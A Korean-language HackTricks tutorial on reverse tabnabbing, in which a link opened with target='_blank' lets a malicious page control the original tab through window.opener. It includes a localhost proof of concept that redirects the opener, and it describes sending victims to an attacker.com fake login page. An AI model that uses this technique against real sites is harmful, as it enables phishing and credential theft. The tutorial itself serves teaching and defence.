6.7 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- Hacking 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.
설명
공격자가 피해자가 클릭할 target="_blank" rel="opener"
속성을 가진 <a
태그의 href
인자를 제어할 수 있는 상황에서, 공격자는 이 링크를 자신이 제어하는 웹(악성 웹사이트)으로 지정할 수 있습니다. 그런 다음, 피해자가 링크를 클릭하고 공격자의 웹사이트에 접속하면, 이 악성 웹사이트는 자바스크립트 객체 **window.opener
**를 통해 원래 페이지를 제어할 수 있습니다.
만약 페이지에 **rel="opener"
**가 없지만 **target="_blank"
**를 포함하지만 **rel="noopener"
**를 포함하지 않는 경우에도 취약할 수 있습니다.
이러한 동작을 악용하는 일반적인 방법은 window.opener.location = https://attacker.com/victim.html
를 통해 원래 웹의 위치를 변경하여 공격자가 제어하는 웹으로 변경하는 것입니다. 이렇게 하면 공격자는 원래 웹사이트의 로그인 폼과 유사한 모습을 가지고 사용자로부터 자격증명을 요청할 수 있습니다.
하지만, 이제 공격자가 원래 웹사이트의 창 객체를 제어할 수 있으므로, 그를 통해 더 은밀한 공격을 수행할 수도 있습니다(아마도 자바스크립트 이벤트를 수정하여 정보를 공격자가 제어하는 서버로 유출시키는 등).
개요
백 링크 포함
예방 속성이 사용되지 않은 경우 부모 페이지와 자식 페이지 간의 링크:
백 링크 미포함
예방 속성이 사용된 경우 부모 페이지와 자식 페이지 간의 링크:
예제
다음과 같은 페이지를 폴더에 생성하고 python3 -m http.server
로 웹 서버를 실행하세요.
그런 다음, http://127.0.0.1:8000/
vulnerable.html에 접속하여 링크를 클릭하고 원래 웹사이트의 URL이 변경되는 것을 확인하세요.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
접근 가능한 속성
교차 출처(다른 도메인 간의 접근) 액세스가 발생하는 시나리오에서, 악성 사이트에서 접근할 수 있는 opener JavaScript 객체 참조에 의해 참조되는 window JavaScript 클래스 인스턴스의 속성은 다음과 같이 제한됩니다:
opener.closed
: 이 속성은 창이 닫혔는지 여부를 확인하기 위해 액세스되며, 부울 값이 반환됩니다.opener.frames
: 이 속성은 현재 창 내의 모든 iframe 요소에 대한 액세스를 제공합니다.opener.length
: 이 속성은 현재 창에 있는 iframe 요소의 수를 반환합니다.opener.opener
: 이 속성을 통해 현재 창을 열었던 창에 대한 참조를 얻을 수 있습니다.opener.parent
: 이 속성은 현재 창의 부모 창을 반환합니다.opener.self
: 이 속성은 현재 창 자체에 대한 액세스를 제공합니다.opener.top
: 이 속성은 가장 위에 있는 브라우저 창을 반환합니다.
그러나 도메인이 동일한 경우, 악성 사이트는 window JavaScript 객체 참조에 의해 노출된 모든 속성에 액세스할 수 있습니다.
예방 방법
예방 정보는 HTML5 Cheat Sheet에 문서화되어 있습니다.
참고 자료
htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 독점적인 NFTs인 The PEASS Family를 발견하세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks](https://github.com/carlospolop/hacktricks)와 HackTricks Cloud github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.